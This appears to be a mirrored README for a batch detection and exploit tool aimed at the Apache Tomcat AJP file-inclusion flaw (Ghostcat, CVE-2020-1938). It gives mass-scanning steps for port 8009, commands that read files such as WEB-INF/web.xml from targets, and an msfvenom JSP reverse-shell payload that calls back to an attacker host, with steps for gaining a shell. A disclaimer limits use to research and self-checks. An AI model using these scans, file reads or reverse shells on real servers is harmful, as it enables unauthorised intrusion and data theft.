Code Monkey home page Code Monkey logo

cnvd-2020-10487's Introduction

说明

工具仅用于安全研究以及内部自查, 禁止使用工具发起非法攻击, 造成的后果由使用者负责

Apache Tomcat文件包含漏洞(CVE-2020-1938 / CNVD-2020-1048 )批量检测工具.

此项目在Kit4y的项目的基础上进行修改.

代码修改

当ip.txt中只有1个域名或ip时, 会使得threadCount为1, 程序实际上没有运行, 增加判断线程数的代码

...
if threadCount == 1:
    threadCount = 2
for i in range(0,threadCount-1):
...
修改少量代码, 以兼容Python3. 修改前的代码
self.stream = self.socket.makefile("rb", bufsize=0)
print("".join([d.data for d in data]))
修改后的代码
if sys.version_info < (3, 0):
    self.stream = self.socket.makefile("rb", bufsize=0)
else:
    self.stream = self.socket.makefile("rb", buffering=None)
if sys.version_info < (3, 0):
    print("".join([d.data for d in data]))
else:
    print(b"".join([d.data for d in data]).decode("UTF-8"))

使用

批量检测

1、将需要扫描的域名/ip放于 ip.txt, 如

127.0.0.1
www.baidu.com
www.google.com

2、python threading-find-port-8009.py

扫描ip.txt中域名/ip找出开放8009端口的, 存放于生成的8009.txt中

3、python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py

从8009.txt中筛选出符合漏洞的url, 放置于vul.txt中. 最后vul.txt中存在的域名即为含有漏洞的域名

单站点检测

python CNVD-2020-10487-Tomcat-Ajp-lfi.py target.com

python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /WEB-INF/web.xml 192.168.125.128

python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /index.jsp 192.168.125.128

跨目录和反弹shell

默认读取webapps下的ROOT,修改“/asdf”为“/test/asdf”可以访问webapps下test目录的内容

t.perform_request('/asdf',attributes=[

若服务器同时存在文件上传漏洞,上传下面的shell.txt

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt

修改“/asdf”为“/asdf.jsp”,启动MSF后使用PoC工具可以取得shell

其他相关工具

https://github.com/0nise/CVE-2020-1938
https://github.com/hypn0s/AJPy
https://github.com/00theway/Ghostcat-CNVD-2020-10487

cnvd-2020-10487's People

Contributors

doggycheng avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.